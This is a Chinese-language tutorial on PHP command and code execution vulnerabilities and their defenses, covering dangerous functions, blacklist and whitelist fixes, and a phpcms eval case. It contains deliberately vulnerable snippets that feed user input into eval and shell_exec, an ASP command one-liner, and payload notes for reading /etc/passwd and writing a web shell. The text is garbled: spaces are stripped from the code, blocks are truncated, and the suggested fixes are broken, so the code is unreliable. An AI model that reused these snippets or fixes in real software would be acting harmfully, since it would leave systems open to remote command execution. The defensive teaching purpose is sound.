远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变$PATH或程序执行环境的其他方面来执行一个恶意构造的代码。黑客可在服务器上执行任意命令,写入后门,从而入侵服务器,获取服务器的管理员权限,危害巨大。
1.继承Web服务程序的权限去执行系统命令或读写文件
2.反弹shell
4.控制整个网站甚至控制服务器
5.进一步内网渗透
建议假定所有输入都是可疑的,尝试对所有输入提交可能执行命令的构造语句进行严格的检查或者控制外部输入,系统命令执行函数的参数不允许外部传递。
不仅要验证数据的类型,还要验证其格式、长度、范围和内容。
不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。
在发布应用程序之前测试所有已知的威胁。
具体防御方案:
PHP内置的两个函数可以有效防止命令执行:
当然,修复方法还有很多方式,修复方式一般有两种思维:
黑名单:过滤特殊字符或替换字符
白名单:只允许特殊输入的类型/长度
黑名单修复:
$octet=explode(".",$target);
if((is_numeric($octet[0]))&&(is_numeric($octet[1]))&&(is_numeric($octet[2]))&&(is_numeric($octet[3]))&&(sizeof($octet)==4)){
$target=$octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
echo'
ERROR:YouhaveenteredaninvalidIP.';
白名单修复:
$cmd=shell_exec('ping'.escapeshellcmd($target));
1.尽量不要使用系统执行命令
2.尽量少用执行命令的函数或者直接直接禁用
3.参数值尽量使用引号包括
4.在使用动态函数之前,确保使用的函数是指定的函数之一
5.在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
//$arg=addslashes($arg);
$arg=escapeshellcmd($arg);//拼接前就处理
6.能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用
7.对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤
8.参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置。
复代码:
//判断字符串包含函数
functioncheckstr($str,$find){
$needle=$find;
$tmparray=explode($needle,$str);
if(count($tmparray)>1){
returntrue;
returnfalse;
if(isset($_REQUEST['submit'])&&$_REQUEST['ip']===''){
echo'
请输入IP或者域名';
$target=filter_var($_REQUEST['ip'],FILTER_SANITIZE_SPECIAL_CHARS);//用filter进行编码
if(checkstr($target,".")&&!checkstr($target,"|")&&!checkstr($target,"&")&&!checkstr($target,"")){
echo'
'.$cmd.'';
$cmd=shell_exec('ping-c3'.$target);
echo'
请勿提交非法字符';
9.对PHP语言来说,不能完全控制的危险函数最好不要使用
escapeshellcmd()函数是过滤的整条命令
payload:
请求1.phpa=whoami',在windows下返回whoami^',在linux下返回whoami\'
escapeshellarg()函数则是过滤参数
1.system:
system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:
stringsystem(stringcommand,int&return_var),其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。
2.exec:
exec函数可以用来执行一个外部的应用程序,stringexec(stringcommand,array&output,int&return_var),其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。
3.Passthru:
passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:
voidpassthru(stringcommand,int&return_var),其中,command是要执行的命令,return_var存放执行命令后的状态值。
4.Shell_exec:
执行shell命令并返回输出的字符串,函数原型如下:stringshell_exec(stringcommand),其中,command是要执行的命令。
靠执行脚本代码调用操作系统命令:
当应用在调用一些能将字符转化为代码的函数(如PHP中的eval)时,
没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞。
远程代码执行是指程序代码在处理输入输出的时候没有严格控制。导致用户可以构造参数包含执行远程代码在服务器上执行,进而获取到服务器权限,是发生在应用程序的逻辑层上的漏洞。
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
PHP:evalassert
Python:exec
asp:<%=CreateObject(“wscript.shell”).exec(“cmd.exe/cipconfig”).StdOut.ReadAll()%>
Java:没有类似函数,但采用的反射机制和各种基于反射机制的表达式引擎(OGNL、SpEL、MVEL等)有类似功能
phpcms中的string2array函数
这个函数可以将phpcms的数据库settings的字符串形式的数组内容转换为真实的数组
array(//这个是字符串形式的数组,它并不是数组,而是字符串
'upload_maxsize'=>'2048',
'upload_allowext'=>'jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf',
'watermark_enable'=>'1',
'watermark_minwidth'=>'300',
'watermark_minheight'=>'300',
'watermark_img'=>'/statics/images/water/mark.png',
'watermark_pct'=>'85',
'watermark_quality'=>'80',
'watermark_pos'=>'9',
)
functionstring2array($data){
//这个函数可以将字符串$data转化为数组
if($data=='')
returnarray();
@eval("\$array=$data;");
return$array;
执行代码的函数:eval、assert
callback函数:preg_replace+/e模式
反序列化:unserialize()(反序列化函数)
执行代码
让网站写shell
甚至控制服务器
示例一:
$data=$_GET['data'];
eval("\$ret=$data;");
echo$ret;
示例二:
eval("\$ret=strtolower('$data');");
示例三:
eval("\$ret=strtolower(\"$data\");");
示例四:
示例五:mixedpreg_replace(mixedpattern,mixedreplacement,mixedsubject[,intlimit])/e修正符使preg_replace()将replacement参数当作PHP代码(在适当的逆向引用替换完之后)
//echo$data;
preg_replace('/(.*)<\/data>/e','$ret="\\1"',$data);
#一般找CMS相应版本漏洞,如ThinkPHP2.1
##一句话
##得到当前路径
###读文件
POST的数据为:f=/etc/passwd
###写shell
POST的数据为:f=1.php&d=
使用json保存数组,当读取时就不需要使用eval了,对于必须使用eval的地方,一定严格处理用户数据字符串使用单引号包括可控代码,插入前使用addslashes转义放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象